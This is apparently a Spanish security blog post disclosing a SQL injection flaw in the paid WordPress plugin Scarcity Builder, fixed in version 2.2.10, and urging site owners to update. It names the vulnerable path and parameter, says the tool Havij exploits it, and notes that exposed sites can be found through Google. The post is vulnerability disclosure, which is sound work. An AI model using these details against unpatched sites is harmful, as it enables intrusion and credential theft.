Hacer unas semanas, un joven investigador de seguridad venezolano llamado KelvinSecurity se puso en contacto conmigo para contarme que se había topado con un bug de SQL Injection en un plugin para WordPress llamado Scarcity Builder, que se utiliza para generar contadores de marketing en sitios web creados sobre WordPress con el objetivo de que generen presión en los visitantes para forzar una acción. Cosas de la gente de marketing, ya sabéis.

Figura 1: Bug de SQL Injection en Scarcity Builder para WordPress

El caso es que el bug era un 0day porque incluso la web del propio fabricante era vulnerable a este fallo, así que decidimos ponernos en contacto con los desarrolladores y se abrió un ticket de soporte. La empresa que está detrás de él, llamada Digital KickStart, solucionó el fallo y respondió con una nueva actualización del mismo, tal y como podéis ver en la siguiente imagen.

Figura 2: Confirmación de que han solucionado el bug en la versión 2.2.10

Sin embargo, el bug, que es un SQL Injection de libro y que se encuentra fácilmente usando Havij o cualquier otro escanner de vulnerabilidades web, está aún por desgracia en muchas páginas web con WordPress, ya que la empresa no ha hecho un Security Advisory o similar.

Figura 3: Explotación del bug en un WordPress vulnerable con Havij

El SQL Injection se encuentra en concreto en: 

wp-content/plugins/scarcitybuilder/shortcode/index.php?edit=

Por supuesto, con un SQL Injection como esté, se puede extraer toda la información de WordPress, incluidos, usuarios, contraseñas e información confidencial que se encuentre guardada en la base de datos o accesible desde ella en el servidor.

Figura 4: Extracción de información con el bug en el plugin Scarcity Builder

El plugin no es demasiado común - seguramente porque es un plugin de pago - y solo aparecen algo más de 800 sitios indexados en Google que lo tengan funcionando, pero el bug es tan fácil de localizar y explotar de forma automatizada que espero que hagan un aviso directo a los clientes haciéndoles entender el riesgo de no actualizar a esta versión.

Figura 5: Número de WordPress con este plugin instalado, localizados vía Google

Si tienes WordPress con este plugin, actualízalo ya. Si tienes clientes con WordPress, avísales de este riesgo de seguridad para que tomen medidas urgentes y, a ser posible, que tengan procedimientos y herramientas para actualizar automáticamente los plugins. No olvides que tienes herramientas como WPHardening para fortificar WordPress, y que tú además puedes puedes fortificar WordPress con configuraciones más seguras.

Saludos Malignos!